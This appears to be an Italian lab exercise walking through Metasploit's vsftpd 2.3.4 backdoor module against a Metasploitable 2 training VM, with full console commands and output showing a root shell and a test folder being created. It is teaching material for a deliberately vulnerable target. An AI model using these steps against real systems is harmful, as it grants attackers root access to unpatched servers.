

Sessione di hacking sulla macchina Metasploitable

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

Avviamo il servizio di metasploitable con il comando `msfconsole`

```
(kali@kali)~$ msfconsole
Metasploit tip: You can use help to view all available commands

To boldly go where no
shell has gone before

= [ metasploit v6.3.55-dev ]
+ -- --[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

Usiamo il comando `search` per vedere una lista di `vsftpd`

```
msf6 > show options
Global Options:
Option          Current Setting  Description
-----
ConsoleLogging  false           Log all console input and output
LogLevel        0               Verbosity of logs (default 0, max 3)
MeterpreterPrompt meterpreter      The meterpreter prompt string
MinimumRank     0               The minimum rank of exploits that will run without explicit confirmation
Prompt          msf6            The prompt string
PromptChar      >              The prompt character
PromptTimeFormat %Y-%m-%d %H:%M:%S Format for timestamp escapes in prompts
SessionLogging  false           Log all input and output for sessions
SessionTlvLogging false           Log all incoming and outgoing TLV packets
TimestampOutput false           Prefix all console output with a timestamp

msf6 > search vsftpd

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execut

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Possiamo usare exploit/unix/ftp/vsftpd_234_backdoor per

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
```

Inseriamo il host

```
msf6 > set RHOSTS 192.168.1.54
RHOSTS => 192.168.1.54
```

Possiamo vedere le opzioni dell'exploit, ci sarà il host target che è stato inserito usando il comando show options, possiamo vedere anche il payload con il comando show payloads

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.1.54    | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |


Payload options (cmd/unix/interact):


| Name | Current Setting   | Required | Description                       |
|------|-------------------|----------|-----------------------------------|
| NAME | cmd/unix/interact | no       | Interacts with the target process |


Exploit target:


| Id | Name      |
|----|-----------|
| 0  | Automatic |


View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads


| # | Name                      | Disclosure Date | Rank   | Check | Description                                        |
|---|---------------------------|-----------------|--------|-------|----------------------------------------------------|
| 0 | payload/cmd/unix/interact |                 | normal | No    | Unix Command, Interact with Established Connection |


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.54:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.54:21 - USER: 331 Please specify the password.
[*] 192.168.1.54:21 - Backdoor service has been spawned, handling ...
[*] 192.168.1.54:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
```

Dopodiché possiamo usare il comando exploit per creare la backdoor.

Una volta già dentro la macchina target creeremmo una cartella 'test_metasploitable'

```
mkdir test_metasploitable
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploitable
tmp
usr
var
vmlinuz
```

Dentro la macchina metasploitable 2 vediamo anche la nuova cartella.

```
msfadmin@metasploitable:/$ ls
bin      etc      lib      nohup.out  sbin      tmp
boot    home    lost+found  opt      srv      usr
cdrom   initrd  media     proc     sys      var
dev     initrd.img  mnt      root     test_metasploitable  vmlinuz
msfadmin@metasploitable:/$
```